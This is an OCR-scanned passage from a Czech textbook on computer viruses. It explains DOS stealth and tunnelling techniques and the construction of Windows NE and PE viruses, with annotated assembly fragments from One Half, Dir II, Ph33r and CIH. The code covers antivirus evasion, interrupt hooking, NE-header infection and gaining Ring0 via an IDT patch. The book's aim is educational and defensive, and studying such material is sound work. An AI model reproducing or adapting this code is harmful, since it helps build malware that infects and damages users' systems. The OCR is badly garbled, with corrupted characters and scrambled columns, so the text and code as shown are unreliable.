...Je-11 soubor infikovan, pak v FCB sniz hodnotu jeho velikosti
0 virus...
...dals1 virové manipulace...

stealth_FCB:
...volej origindlni obsluhu int 21h...
...zjisti adresu DTA, ve které je FCB uloZeno...
...Jje-11 soubor infikovan, pak v DTA sniZ hodnotu jeho velikosti
0 virus...
...dals1 virové manipulace...

stealth_dir:
...volej origindlni obsluhu int 21h...
...zJjisti adresu DTA, ve které jsou informace o souboru uloZeny...
...Jje-11 soubor infikovan, pak v DTA sniZz hodnotu jeho velikosti
0 virus...
...dals1 virové manipulace...

V piipadé navésti stealth_open_FCB a stealth_ FCB se velikost souboru nachéazi na adre-
se FCB[1dh] resp. DTA[1dh], v pfipadé navésti stealth_dir pak na adrese DTA[1ah]. Vzdy se
jedna o dvojslovo (DWORD). P¥i volani funkce Ofh je pfimo znama adresa FCB a proto ji ne-
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ni potfeba zjisfovat prostfednictvim DTA. Stealth FCB délky na trovni instrukci je uveden
v ramci konstrukce souborového SYS-viru.

¢ Uplny stealth mechanismus
Principem Uplného stealth mechanismu je rozsifeni jeho ¢asteéné podoby o manipulaci apl-
ného odvirovani zadaného souboru pted jeho pfedanim operaénimu systému a jeho opétov-
ného zavirovani v dobé, kdy pfislusng soubor jiz neni zZadan resp. je vyvolan poZadavek na
jeho uzavfeni.

virus_int21lh:

cmp ah, 3dh ; sluzba ”0tevri soubor”?

je stealth

cmp ah, 4bh ; sluZzba ”Spust soubor - EXEC”?

je stealth

cmp ah, 6¢h ; sluzba ”RozSifeného otevreni souboru”?
je stealth

cmp ah, 3eh ; sluzba ”Uzavri soubor”?

je infect

dalsi testy...

stealth:
..je-11 oteviran nebo spouStén spustitelny soubor, pak jej odviruj...
..a predej odvirovany soubor pozadované sluzbé...
.dalsi virové manipulace...

infect:

.pokud je uzaviran spustitelny soubor, pak jej infikuj...
.a az ted jej skutecné uzavri...
.dal8i virové manipulace...

Dtsledkem tplného stealth mechanismu je skute¢nost, Ze antivirové kontroly nezachyti pti-
tomnost viru, nebot v dobé testovani je virus ze souboru jiz odstranén.

P¥i manipulaci se souborem fada virti vyuziva nedokumentovany mechanismus pfimého pfi-
stupu k souboru prostfednictvim SFT:

mov
mov
int

mov
mov
int
;a

bx, file_handle ; rukojet souboru

ax, 1220h ; sluZzba ”zjisti cislo SFT”

2fh

b1, es:di ; Cislo SFT (-1 pro neotevreny soubor)
ax, 1216h ; sluzba ”zjisti adresu SFT”

2fh

dresa ES:DI ukazuje na SFT

Tato posloupnost pfikazi nyni umoziiuje pfimou manipulaci s atributy souboru, médem otevie-
ni, nastaveni ukazatele posunu v souboru ¢ manipulaci s datem a ¢asem, bez voléani sluZeb jadra
Dosu (int 21h) a tim i bez hrozby zachyceni operaci antivirovgm hlidacem.
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Napt. pro nastaveni ukazatele posunu na zacatek souboru muZze virus misto volani sluzby
Dosu 42h pouzit sekvenci:

mov es:[di + 15h], O ; od offsetu 15h je v tabulce SFT uloZeno
mov es:[di + 17h], O ; dvojslovo aktualniho posunu v souboru

Podobné pro pfenastaveni médu otevieni na zépis:

mov es:[di + 02h], 2 ; read/write méd

4.8. Konstrukce tunelujicich vird

Snahou tunelujicich virl je ziskat vstupni body obsluh pferuseni do ROM-BIOSu (zejména pro
prerudeni int 13h) a do jadra Dosu (pro pferuSeni int 21h). Nalezené vstupni body umozni viru
vyhnout se antivirovym néastraham rezidentniho typu. Pro int 13h jiz byla uvedena nedokumen-
tovana sluzba 13h multiplexniho pferuseni int 2th. Skute¢né tunelujici mechanismy vyuZzivaji
pro tunelovani pferuseni Casovace (int O8h pfip. int 1ch) a ladici pferuseni (int 01h). Jako na-
zorna ukazka mlze poslouzit ¢itelng fragment viru One Half, kterg tunelovani provadi jak pro-
stfednictvim int 1ch tak i int O1h.

e Tunelovani do segmentu Dosu pro zjisténi vstupu obsluhy p¥eruseni int 21h
Tato ¢ast viru One Half se uplatiiuje v okamziku, kdy je virus aktivovan pfi zavadéni operac-
niho systému z pevného disku. Virus dfive, neZ pfeda fizeni originalnimu zavadédi, pfesmée-
ruje obsluhu pferu$eni uzivatelského Casovace (int 1ch) na své télo. V okamziku, kdy je pro-
véadeén originalni zavadég, virova obsluha int 1ch hlidé s kazdym tikem Casovate zmény adres
obsluh pferueni int 21h. Jakmile nastane okamzik, Ze obsluha Dosu je vytvofena a dosah-
ne hodnoty segmentu Dosu, virus si zjisténou hodnotu zapamatuje (int21h_entry) a obsluhu
uzivatelského €asovace odinstaluje.

virus_int_1ch:

push ax

push ds ; Uschova registru

push es

XO0r ax, ax ; zjisti adresu aktudlni
mov ds, ax ; obsluhy preruSeni

les ax, dword ptr ds:[21h * 4] ; int 21h

mov word ptr cs:int2lh_entry, ax ; zapis potencidlniho vstupu
; (offsetovéd Cast)

mov ax, es
cmp ax, 800h ; je to segment Dosu?
ja finish_1ch ; jestli jsme vySe, pak pouze

; proved originalni obsluhu int 1ch

mov word ptr cs:int2lh_entry + 2,ax ; vstup byl nalezen,
zapi$ 1 segmentovou Cast adresy
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les ax, dword ptr cs:[orig_int_1ch] ; naCti adresu plvodni
; obsluhy int 1ch
mov word ptr ds:[1ch * 4], ax ; a nastav ji
mov word ptr ds:[lch * 4 + 2], es ; do tabulky vektord preruleni
mov word ptr ds:[21h * 4], offset virus_int_21h ; nastaveni virové
obsTuhy
mov word ptr ds:[21h * 4 + 2], cs ; preruSeni int 21h
finish_lch:
pop es ;
pop ds ; obnova registri
pop ax ;

voldni origindlni obsluhy uZivatelského Casovacle
db Oeah ; 7Jjmp far ptr...
orig_int_1ch dd ?

Hodnota orig_int_1ch je aktualizovana virem pted vlastnim pfesmérovanim obsluhy uZivatel-
ského Casovace standardnim zplisobem.

¢ Tunelovani pod Groven Dosu pro zjisténi vstupu obsluhy pferuseni int 13h
Tunelovani pod troven Dosu provadi One Half tehdy, je-li aktivovan spusténim zavirované-
ho souboru. Virus nastavuje vlastni obsluhu ladiciho pteruseni int 01h, zapne krokovaci re-
Zim a vola dosavadni obsluhu int 13h. S kazdou provedenou instrukci obsluhy int 13h je ak-
tivovano ladici pferuseni, v ramci néhoz One Half testuje navratovou adresu a zjistuje, zda je
segment navratové adresy pod trovni Dosu ¢i nikoliv. Jakmile virova obsluha uspéje, zapa-
matuje si hledang vstup a vypne krokovaci rezim. Tim tunelovani kondi.

Volani protunelované obsluhy int 13h
orig_int_13h:

pushf
cli
db 9ah ; ”call far ptr...”
intl3h_entry dd ?
retn

Tunelovéni prostfednictvim virové obsluhy ladiciho pferuseni int 01h

virus_int_01h:
push bp ; Gschova BP
mov bp,sp ; prenastaveni zasobnikového rdmce
; flags (priznaky) [bp+6]
; CS  [bp+4]
; 1P [bp+2]
; BP [bp]

Instrukce semaforu, ma-1i se tunelovdni provadét ¢&i nikoliv,
nabyvad hodnot bud ”jmp short single_step_off” nebo ”jmp short next”
db Oebh ; 7Jjmp short...”
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semaphore:
db offset single_step_off - offset next ; “patch”

Instrukce porovnani ndvratové adresy s dosovym segmentem
next:
db 81h, 7eh, 04h; “cmp word ptr [bp+4],...”
dos_segment:

dw ? ; hodnota dosového segmentu (”patch”)
ja finish_01h ; jestli jsme vySe, pak skok na ndvrat
push ax

push bx ; Uschova registra

push ds

1ds ax, dword ptr [bp + 2] ; nacCti nalezeny vstup

db 0bbh ; "mov bx,...”
delta_offset:
dw ? ; adresa viru v paméti (”patch”)

mov word ptr cs:[intl3h_entry]lbx], ax ; patch nalezeného vstupu
mov word ptr cs:[intl3h_entry + 21[bx], ds ; do procedury orig_int_13h

nastaveni stop semaforu pro tunelovadni, nebot hledany vstup
JjiZz byl nalezen
mov byte ptr cs:[semaphorellbx], offset single_step_off - offset next

pop ds
pop bx ; obnova registri
pop ax

single_step_off:
and byte ptr [bp + 7], 0feh ; vypnuti krokovdni (TF = 0)

finish_0lh:

pop bp
iret

Dfive, nez je virova obsluha uplatnéna, musi One Half provést ptisluiné zaplaty (,,patch®) la-
dici obsluhy.

file_virus_entry_point: ; vstupni bod souborové podoby One Halfu
call trick ; standardni
trick: ; zjisténi
pop si ; adresy viru
sub si, offset trick ;v opaméti
mov word ptr ds:[delta_offset]l[si], si ; ”patch” delta offsetu

mov ah, 52h ; sluZzba ”Seznam seznamu”
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int 21h

mov ax, es:[bx - 2] ; adresa prvniho MCB bloku, tj. segmentu Dosu
pro tunelovani

mov word ptr ds:[dos_segment][si], ax ; ”patch” dosového segmentu
mov byte ptr ds:[semaphore]lsil, 0 ; "patch” nastaveni zelené
; na semafor tunelovani

..0schova origindlni obsluhy preruSeni int 0lh...
.Gschova originalni obsluhy preruSeni int 13h (na prozatimni
intl3h_entry)...
...nastaveni virové obsluhy preruSeni int 0lh (virus_int_01h)...
..pripravné nastaveni registrd pro nacteni zavddéciho sektoru
pevného disku...

pushf ; standardni

pop ax ; postup

or ah, 1 ; pro zapnuti

push ax ; krokovani

popf ; (TF =1)

mov ax, 201h ; donastaveni registru AX, ktery byl pouZit vySe
call orig_int_13h ; pri tomto voldni dojde k vlastnimu protunelovani
pushf ; standardni

pop ax ; postup

and ah, Ofeh ; pro vypnuti

push ax ; krokovani

popf ; (TF =0)

...nastaveni pavodni’obswhy prferuSeni int 0lh...

Trap Flag, nejnizsi bit horniho bajtu pfiznakového registru, je klicovgm bitem pro ovladani kro-
kovactho rezimu. Pfiznak nastavuji, kromé zde uvedené virové konstrukce, rtizné ladici systé-
my (debuggery) pro krokovani ladéného programu.

Yevr

¢ Hledani diskové obsluhy ve vnéjsich modulech ROM

Od adresového segmentu CO0Oh se nachazi oblast kodu externi paméti ROM, ve které jsou
instalovany pfevazné ovladale zafizeni (pevny disk apod.). Béhem studeného startu a insta-
lace obsluh pferuseni prochéazi BIOS tuto oblast a hleda spustitelny kod. Struktura je doku-
mentovana operacnim systémem — prvni signatura 2 B stejna se signaturou zavadéciho sek-
toru, 1 B velikost modulu v 512 B blocich a od 4. bajtu zacina vlastni kod.

Stejnou metodu ROM-skenu provadi i nékteré tunelujici viry (napt. Dir II & Dark Avenger).
Viry hledaji zndmou posloupnost instrukei, kterou obsluhy hledangch preruseni obsahuji. Na-
sleduje ukazka viru Dir II, hledajiciho originalni vstup pferuseni int 13h.

mov dx, 0c000h ; pocatecni segment externich moduld ROM

1b1_1:
mov ds, dx ; nastaveni datového segmentu
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xor si, si ; nulovy pocCdtecni offset
lodsw ; nacteni signatury
cmp ax, 0aabbh ; je to signatura?
jne 1b1_4 ; jestliZe ano, zmén segment
chw ; nulovani AH
lTodsb ; naCteni velikosti modulu
(v 512 B blocich)
mov cl, 9
shl ax, cl ; vypocCet koncového offsetu
1b1_2:
cmp [si], 6c¢7h ; hleda se tento vstup
jne 1b1_3 ; jestli se nenaSel, pak posun na
dalsi offset
cmp word ptr [si + 21, 4ch ; ovéreni, zda je to hledana
; posloupnost
Jjne 1b1_3 ; Jestli se vstup nenaSel, pak
; posun na dal$i offset
push dx ; vstup se naSel, uloZ segment
push [si + 4] ; a offset na zasobnik
jmp short continue ; pro primé voldni zapisu na disk
1b1_3:
inc si ; posun na dal$i offset
cmp si, ax ; pokud jsme jeSté v tomto modulu
jb 1b1_2 ; zkus znovu hledat
1b1_4:
inc dx ; posun na dal$i segment
cmp dh, 0fOh ; pokud jsme jeSté v externi
; oblasti ROM
jb 1b1_1 ; zkus znovu hledat
continue:

...pokud byl vstup nalezen, je v zdsobniku nyni uloZena jeho adresa...

Je zfejme, Ze hledana posloupnost je zavisla na konkrétnim BIOSu a ovladadi zafizeni. To je
hlavni divod, pro¢ viry v soucasnosti tento postup pfilis nevyuzivaji a zaméfuji se na prvni dva
uvedené mechanismy.

Tunelujici mechanismus je vZdy jednorazovy. Virus zjisti hledang vstup nizsi trovné a po celg
zbytek svého plisobeni na pocitadi je tento mechanismus vypnut. To je i zakladni rozdil od stealth
technik, které jsou provadény po celou dobu aktivniho ptisobeni viru v operaéni paméti.

4.9. Konstrukce Windows viru

Zorientovani se v konstrukcich Windows virtt neni zdaleka tak trividlni jako v pfipadé virQ
dosoviych. Spustitelngch tvar je nepfeberné mnoZstvi navzajem se prolinajicich s pfislusnymi
formaéty. Zakladnimi spustitelnymi entitami Windows jsou:
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- Spustitelné programy EXE.
— Dynamicky linkované knihovny DLL.
- Systémové ovladace virtualnich zatizeni VxD.

Z&kladnimi forméty jsou:

— NE (New Executable).

- LE a LX (Linear Executable).
— PE (Portable Executable).

Pro rozliseni Windows virl je nejdulezitéjsim faktem, ze format NE je uréen pro 16bitové apli-
kace a format PE pro aplikace 32bitové. Vihodou forméatu PE je skute¢nost, Ze jde napfi¢ vie-
mi Windows 3.x/95/98/NT/2000 a mlze obsahovat jak koéd programu *.EXE, tak i knihovny
DLL. A to je pro tvirce viri pochopitelné velice lakavé.

Na ostatni druhy soubort (napt. *.SCR, *.HLP, *.CPL, *.VBS, *.SHS, *.INF apod.) nelze
rozhodné zapominat, ze systémového hlediska se vsak jiz nejedna o zékladni typy.

4.9.1. Konstrukce 16bitového viru NE

Prunim krokem k pochopeni konstrukce 16bitovgch virdt Windows je znalost dvou zékladnich
systémovych struktur — hlavicky ,,New Executable Header” a tabulky ,Segment Table“.

NE header je rozsifenim bézného dosového EXE-headeru pro prostfedi Windows. Jeho z&-
kladni formaét je nasledujici:

Offset Délka[B] Popis polozky hlavicky New Executable

00h 2 Signatura souboru (°NE’).

02h 1 Cislo verze LINKu.

03h 1 Revizni ¢islo LINKu.

2 Offset pocatku tabulky vstupl (entry table).

06h 2 Délka entry table.

08h 4 Kontrolni suma zbylych poloZek hTavicky.

Och 2 Priznaky modulu (spuSténi v redalném nebo chranéném
rezimu, priznak programu nebo knihovniho modulu apod.).

Oeh 2 Cislo automatic data segmentu.

10h 2 Poc¢atecni velikost Tocal heapu pridané automatic data
segmentu.

12h 2 PocdtecCni velikost zdsobniku pridané automatic data
segmentu.

14h 2 Pocdtecni hodnota IP.

16h 2 Pocdtecni hodnota CS.

18h 2 Poc¢atecni hodnota SP.

lah 2 Poc¢atecni hodnota SS.
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Offset Délka[B] Popis polozky hlavicky New Executable

1ch 2 PoCet poloZek v tabulce segmentld (segment table).

leh Pocet poloZek v tabulce modult (module reference table).
20h PoCet bajtu tabulky nerezidentnich jmen.
22h Offset pocCatku tabulky segmentl (segment table).

26h Offset pocatku tabulky rezidentnich jmen.

2

2

2

2 Offset poCatku tabulky systémovych zdrojd (resource table).
2

2 O0ffset pocdtku tabulky modulld (module reference table).
2

Offset pocCatku tabulky naimportovanych jmen (imported
names table).

2ch 4 Offset pocatku tabulky nerezidentnich jmen (nonresident
names table).

30h 2 PoCet presunovatelnych vstupnich bodl (movable entry
points) z tabulky vstupd.

32h 2 Pocet posund pro zarovnani (alignment shift count).

34h 12 Rezervovano.

Offsetové polozky jsou vztazeny vaci pocatku hlavicky NE. Konkrétni umisténi hlavicky NE
v programu je pak dano hodnotou dvojslova od offsetu 3ch bézného EXE zahlavi.

V{yznam zvgraznénych polozek je obdobny jako v pfipadé jiz dfive uvedené EXE hlavicky.

Kromé hlavicky NE je dalsi daleZitou strukturou tabulka segmentt, kterd obsahuje osmibajto-
vy zdznam pro kazdy datovy resp. kbdovy segment programu nebo knihovniho modulu. Kazdg
segment je reprezentovan ordinalnim éislem svazanym odkazy na segmenty v jingch éastech
souboru NE.

Offset Deélka[B] Popis polozky v tabulce segmentu

0ffset segmentu v0Ci pocatku souboru po provedeni
prislusného poctu posunl.
Velikost segmentu.

Priznaky segmentu (DATA nebo CODE segment, premistitelny
nebo fixovany segment, segment pouze pro spuSténi,
segment pouze pro C¢teni apod.).

Minimdini velikost potrebnd pro alokaci segmentu.

Vlastni koncepci virti v prosttedi Windows pfedstavuji fragmenty viru Ph33r, jenz napada kro-
mé Windows soubort EXE (dale jen WIinEXE) rovnéz Kklasické dosové programy *.COM
a *.EXE. Virus je z dilny virové skupiny VLAD, kteréa je pfednim ,dodavatelem® vira Windows.
Dobfe patrny je mechanismus rezidentni instalace a infikace dal$ich aplikaci.
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¢ Prima rezidentni instalace viru
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P¥ima rezidentni instalace se velice podoba béznym dosovym mechanismiim. Samoziejmé,
Ze jsou respektovana specifika Windows, jako napt. povoleni zépisu do provadéného kodu
apod. Vyuzivano je predevsim DPMI (DOS Protected Mode Interface API) pferuseni int 31h.

win_entry:
pusha
push ds
push es
mov 51feh

int 21h

cmp ax, 0ffblh

je no_wintsr

ax,

mov ax, 000ah

bx, cs
31h
ds, ax

mov
int
mov

0204h
21h

mov
mov
int

ax,
b1,
31h

mov
mov

word ptr orig2l, dx

ax, 0501h
bx, bx

mov
xor
mov Cx,
int 31h
push bx
push cx

X0r ax, ax
mov cx, 1
int 31h

mov bx, ax

word ptr orig2l + 2,

CcX

offset end_of_virus

mov ax, 0007

pop dx

pop Cx

int 31h

mov ax, 0008

XOr CX, CX

mov dx, offset end_of_virus
int 31h

vstupni bod infikovanych aplikaci Windows
GUschova vSeobecnych registri

Uschova segmentovych

registri

bé&Zny test pritomnosti

viru v paméti

pomoci nové vytvorené sluzby
je-11 jiz virus aktivni, spusti
infikovanou aplikaci

sluzba vytvoreni alias deskriptoru

(pro modifikovatelnost kdédového segmentu)
selektor kodového segmentu

volani DPMI

novy selektor

sluzba zjisténi vektoru preruSeni
chréanéného rezimu int 21h

volani DPMI

; Uschova origindlni obsluhy
; int 21h

; sluzba alokace pamétového bloku

; velikost potrebna

; pro virus

; volani DPMI

; Gschova pridéleného ukazatele
na linedrni oblast

sluzba alokace deskriptoru LDT
poCet zadanych deskriptord
voldni DPMI

pridéleny selektor (LDT deskriptor)
sluZzba nastaveni adresy bdze segmentu
na obnoveny ukazatel pridélené
linedarni oblasti
volani DPMI
sluzba nastaveni Tlimitu segmentu

; velikost potrebna

pro virus

volani DPMI
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mov es, bx

mov cx, offset end_of_virus
xor si, si

xor di, di

cld

rep movsh

mov bx, es
mov ax, 0009

mov cx, 00ffh
int 31h

mov cx, es
mov dx, offset win2l
mov ax, 0205h

mov b1, 21h

int 31h

mov ax, 0004
push es
pop bx
int 31h

no_wintsr:
pop es
pop ds
popa
db Oeah
winip dw 0
wincs dw 0ffffh

Infikace souboru WinEXE

zkopirovani viru
do pridélené
linearni oblasti

selektor

sluzba nastaveni pristupovych
prav deskriptoru

hodnota prav

volani DPMI

nastaveni virové obsluhy
vektoru prerusSeni
chranéného reZzimu int 21h
volani DPMI

sluZzba uzamCeni selektoru
oblast

viru

voldani DPMI

obnova segmentovych
registri
obnova vSeobecnych registri

“jmp far ptr...”
originalni vstup
infikované aplikace

Virus zjisti offset hlavicky NE v souboru, provede jeji modifikaci a celou hlavicku véetné ta-
bulky segmentti posune o 8 bajti smérem k pocatku souboru. Tim ziska volné misto pro vi-
rovou poloZku v tabulce segmentti. Nakonec po jejim zapsani virus zkopiruje na konec sou-

boru své télo spolu s relokaénimi udaji.

windows_infect:
push word ptr [si + 3ch]
pop word ptr newexe_off

sub word ptr [si + 3ch], 8
cmp word ptr [si + 3eh], O

jne exit_infection

mov word ptr [si + 12h], Oafafh

...nastaveni ukazatele posunu na

ST obsahuje adresu pocatku
hlavicky EXE

Uschova ukazatele

na hlavicku NE

a jeho posun na virus

je-11 NE hlavicka na offsetu
nad 64 kB

pak konec infikace

nastaveni pfiznaku zavirovani

pocatek infikovaného souboru...
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...0schova data a c¢asu souboru...
..z4apis aktualizované EXE-hlavicky...

...nastaveni ukazatele posunu na NE header dany hodnotou newexe_off...
..nacteni 512 B pocCinaje hlavickou...

Uprava hlavickovych ukazatell (od adresy SI je nyni NE header)

mov ax, word ptr [si + 22h] ; poCdtek segment table
cmp word ptr [si + 4], ax ; je pod ni entry table?
jb ok_entry ; pokud ne
add word ptr [si + 4], 8 ; pak posun na dal3i
ok_entry:
cmp word ptr [si + 24h], ax ; je pod ni resource table?
Jjb ok_resource ; pokud ne
add word ptr [si + 24h], 8 ; pak posun na dalsi
ok_resource:
cmp word ptr [si + 26h], ax ; jJe pod ni resident names table?
jb ok_rnames ; pokud ne
add word ptr [si + 26h], 8 ; pak posun na dal3i
ok_rnames:
cmp word ptr [si + 28h], ax ; je pod ni module reference table?
jb ok_mreference ; pokud ne
add word ptr [si + 28h], 8 ; pak posun na dal3i
ok_mreference:
cmp word ptr [si + 2ah], ax ; Je pod ni imported names table?
Jjb ok_imported ; pokud ne
add word ptr [si + 2ah], 8 ; pak posun na dalsi
ok_imported:
mov ax, word ptr [si + 1lchl ; poCet poloZek v segment table
inc word ptr [si + Ichl] ; zvétSeni o jeden virovy segment
xor dx, dx ; prepocCet pocatku
mov cx, 8 ; segment table
mul cx ; na offset konce
add ax, word ptr [si + 22h] ; této tabulky v souboru
adc dx, 0 ; prepocet na
mov cx, 512 ; blZ2 B
div cx ; bloky
mov word ptr ne_size, ax ; uloZeni poctu bloku
mov word ptr Tast_ne, dx ; a co zbyva v poslednim
push word ptr [si + 14h] ; Gschova
pop word ptr old_ip ; originadlnich
push word ptr [si + 16h] ; hodnot
pop word ptr old_cs ; CS:IP
push word ptr [si + 32h] ; Uschova hodnoty alignment shift
count
pop word ptr al_shift ; pro pozdéjsi prepocet segmentu

viru pri zdpisu do segment table
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Nastaveni vstupniho bodu programu na télo viru
mov word ptr [si + 14h], offset win_entry ; novd hodnota IP
mov ax, word ptr [si + 1ch] ; poCet poloZek v segment table
= ordindlni ¢islo segmentu viru

mov word ptr [si + 1l6h], ax ; novd hodnota CS

push word ptr newexe_off ; inicializace proménné lseek

pop word ptr Iseek ; pro posun hlavicky NE a tabulky
segmentd

; Vlastni realizace posunu inkriminované oblasti o 8 B zpét
move_header_forward:

mov ax, word ptr ne_size ; poCet blokd pro presun
or ax, ax ; uZ jsou vSechny presunuty?
jz last_page ; je-1i tomu tak, pak zpracuj

posledni kus
dec word ptr ne_size ; Jjeden blok bude presunut

...nastaveni ukazatele posunu na pozici (Iseek - 8)...
...zapis 512 B bloku pravé aktualni sekce headeru...

add word ptr 1Iseek, 512 ; posun na dal$i blok

...nastaveni ukazatele posunu na dalSi blok...
...nacteni tohoto 512 B bloku...

jmp move_header_forward ; skok na dal$i presun

last_page:
...nastaveni ukazatele posunu na konec souboru...
; diky volani sluzby 42h pferuSeni int 21h obsahuje nyni DX:AX
velikost souboru, tj. offset virového segmentu v infikovaném souboru
mov cl, byte ptr al_shift ; tato

push bx ; Cast

mov bx, 1 ; posouva

shl bx, cl ; offset

mov cx, Dbx ; virového

pop bx ; segmentu

div cx ; podle

mov word ptr Tseek_add, 0 ; poctu

or dx, dx ; posunl

jz no_extra ; pro

sub cx, dx ; zarovndani

mov word ptr Tseek_add, cx ; uvedeného

inc ax ; v hlavicce NE
no_extra:

mov di, si ; urceni offsetu virové

add di, word ptr last_ne ; poloZzky v segment table

Pridani nové poloZky do tabulky segmentu
mov word ptr [di], ax ; offset segmentu



@ Moderni pocitacové viry Podstata, prevence, ochrana

mov word ptr [di + 2], offset end_of_virus ; velikost segmentu
mov word ptr [di + 4], 180h ; priznaky segmentu (fixovany koéd,
; pouze pro spuSténi)
mov word ptr [di + 6], offset end_of_virus ; potrebnd velikost
; paméti

...nastaveni ukazatele posunu na pozici (Iseek - 8)...
...z4apis zbytku hlavicky NE a virové poloZky segment table (last_ne

+ 8 bajtu)...
; reset relokacniho ukazatele
push word ptr winip ; Gschova aktudlniho
push word ptr wincs ; ukazatele
mov word ptr winip, O ; nastaveni ukazatele
mov word ptr wincs, Offffh ; pro zapis viru

...nastaveni ukazatele posunu na konec souboru + Tseek_add...
...zapis téla viru do souboru...

pop word ptr wincs ; obnova aktudlniho
pop word ptr winip ; ukazatele

...zapis relokac¢ni polozky viru (od adresy Relocblk)...
jmp finish_infection ; konec zdarné infikace

;'ﬁroménné vyuzivané pro infikaci WinEXE

newexe_off dw 0 ; offset pocdtku hlavicky NE
al_shift dw 0 ; alignment shift count
ne_size dw 0 ; velikost celé hlavicky v 512 B blocich
last_ne dw 0 ; velikost zbytku hlavicky v poslednim bloku
1seek dw 0 ; pomocna proménnd ukazatele posunu v souboru
lseek_add dw 0 ; dodatecny posun
Relocbhlk: ; relokacni tabulka viru

dw 1 poCet relokacnich poloZek

db 3 32-bitovd relokace ukazatele

db 4 ; pridavnd relokace

dw offset winip
old_cs dw 0 ulozené origindlni hodnoty CS:IP
old_ip dw 0 ; infikovaného programu

4.9.2. Konstrukce 32bitového PE viru

Struktura PE souboru vychazi rovnéz ze starého dosového EXE-forméatu. Soubor je slozen z do-
sové EXE-hlavicky a stubu, tj. programu upozoriujiciho, Ze soubor lze spustit jen v prosttedi
Windows. Nasleduje vlastni hlavicka PE a tabulka objektd, tj. pole hlaviéek jednotlivich sekci,
do ktergch je samotny soubor rozdélen. Velikost PE-hlavicky je vétsi nez 160 B a jeji podrob-
ny popis presahuje rozsah této knihy. Tak jako tak, Gplng popis forméatu PE Microsoft svého
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Casu zverejnil (Ize jej tedy na Internetu najit), coz tvlrctiim virQ silné nahrélo. Rozhodné nelze

turdit , Ze zvefejnéni podobnych informaci je Spatné, je potfeba se spiSe zamyslet nad celou kon-

cepci opera¢niho systému od Windows 95 vise. Zde Microsoft evidentné promeskal jedine¢nou

Sanci sestrojit operaéni systém virim odolng, podobné jako je tomu v unixovgych prostiedich.

Lze jen polemizovat, zda §lo o zamér, ¢irou neschopnost nebo nechut zahodit starg kod.
Virus PE mé nékolik moZnosti, jak hostitele infikovat.

¢ Prosté prepsani téla hostitele
Primitivni zptsob, kterg &ini infikovang program nefunkénim.

¢ Pfepsani nevyuzitjch mezer
Varianta inteligentniho dosového ptepisujiciho viru, umistujiciho své télo do oblasti nevyz-
namnych nul. Velikost jednotlivich sekci PE-souboru je zarovnana na nasobek 512 B. To da-
va viram moznost rozlit své télo do oblasti zarovnani. Vghodou je, Ze velikost infikovaného
programu se neméni. Pfikladem je virus CIH.

¢ Pfidani nové sekce
Prodluzujici varianta souborového viru. Virus vytvati novou sekci v napadém souboru, tj. mo-
difikuje PE-hlavicku, pfidava hlavicku této sekce a pfidava samotnou virovou sekci. PE-hla-
vicka je modifikovana tak, aby se virova sekce zavedla dfive nez plivodni program.

o Pfidani téla viru do stavajici sekce
Nejnarocngjsi zpusob infikace, vyzadujici slozité manipulace, byt se virus nejcastéji ptipojuje
k sekci posledni. Pro zajisténi aktivace viru je bud modifikovan vstupni bod (entry point) v hla-
vi¢ce PE nebo je vloZena instrukce skoku JMP do kédu plivodniho programu bez modifika-
ce vstupniho bodu.

Z&kladni postup infikace PE-formétu je nasledujici:

/jisténi mista, od kterého se nachdzi hlavicka PE v infikovaném souboru
Uréeni celkové velikosti PE-hTavicky

Nacteni PE-hlavicky a tabulky objektl

Pridani nového objektu do tabulky objektd

Presmérovani ukazatele vstupniho bodu RVA na novy objekt

Priddni viru do napadeného souboru na vypoCtené fyzické misto

Zapis modifikované hlavicky PE zpét do souboru

RVA je relativni virtuélni adresa viéi polozce Image Base (virtudini baze jednotlivich sekci)
PE-hlavicky.

Cesty provedeni infikace jsou rtiznorodé, od pfimocarého napadeni az po rezidentni vycka-
vani. Ve v zavislosti na zpuisobu realizace od vyuzZiti specifickych vlastnosti konkrétni verze Win-
dows aZ po snahu o co nejuniverzalngjsi volani API. Rezidentnost si miize virus zajistit ttemi za-
kladnimi zptisoby:

- Vyuziti arovni opravnéni RINGO (nejvyssi priorita) a RING3 (nejnizsi priorita) v prostfedi Win-
dows 95/98. Programy na trovni RINGO mohou pfistupovat i k hardwaru. RING3 zajistu-
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je, ze jen legalni volani API smi proniknout na Groveni RINGO. Nevghodou (pro tviirce virt)
je, Ze tato metoda neni funkéni na Windows NT a 2000. Pro tyto systémy korekiné sestave-
ny virus zajistuje strukturovanou obsluhu vgjimek (SEH) tak, aby alespoii nedoslo k padu ce-
lé infikované aplikace. Virus ziskava opravnéni trovné RINGO nejcastéji bud pomoci ovlada-
Ce VxD (af uz infikovanim jiného nebo vytvotenim vlastniho) nebo pomoci virové obsluhy
urcité vgjimky, kterou sam virus vyvola. Princip demonstruje ukazka z viru CIH.

HookExceptionNumber = 03h

Viruséfért:

@0 :

push ebp

Modifikace SEH predchazejici nechténému vyvolani vyjimky, zejména na NT

lea eax, [esp-04h*2]
Xor ebx, ebx

xchg eax, fs:[ebx]
call @0

pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax

Modifikace IDT (Interrupt Descriptor Table) pro ziskani prdv RINGO

push eax

sidt [esp-02h] ; Nacteni adresy IDT

pop ebx

add ebx, HookExceptionNumber*08h+04h ; IF=0

cli

mov ebp, [ebx] ; Nacteni (dschova) vstupniho bodu
mov bp, [ebx-04h] ; obsluhy vyjimky

lea esi, MyExceptionHook-@l[ecx] ; Virovad obsluha vyjimky

push esi

mov [ebx-04h], si ; Modifikace adresy
shr esi, 16 ; vstupniho bodu
mov [ebx+02h], si ; obsluhy vyjimky
pop esi

Vliastni vyvoldni vyjimky a ziskdni prav RINGO

int HookExceptionNumber

...sloZeni téla viru a priprava na obnovu SEH...

UkonCeni béhu viru, spuSténi originalni aplikace

étopToRunVirusCode:

@l

= StopToRunVirusCode
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xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE: obnova SEH
pop dword ptr fs:[ebx]
pop eax
SpuSténi originalni aplikace
pop ebp
push 00401000h ; UloZeni originalniho vstupniho
OriginalAddressOfEntryPoint = $-4 ; bodu aplikace na zasobnik
ret ; a skok na néj

;Uroveii RINGO
MyExceptionHook:
MyExceptionHook

Jz InstallMyFileSystemApiHook ; zavéSeni viru na systémové API

@ =

; NéVfét na Groven RING3 originalni aplikace
ExitRing0Init:

mov [ebx-04h], bp ; Obnova adresy

shr ebp, 16 obsluhy vyjimky
mov [ebx+02h], bp ; na puvodni hodnotu
iretd

InstaﬁﬁMyFi1eSystemAp1Hook:
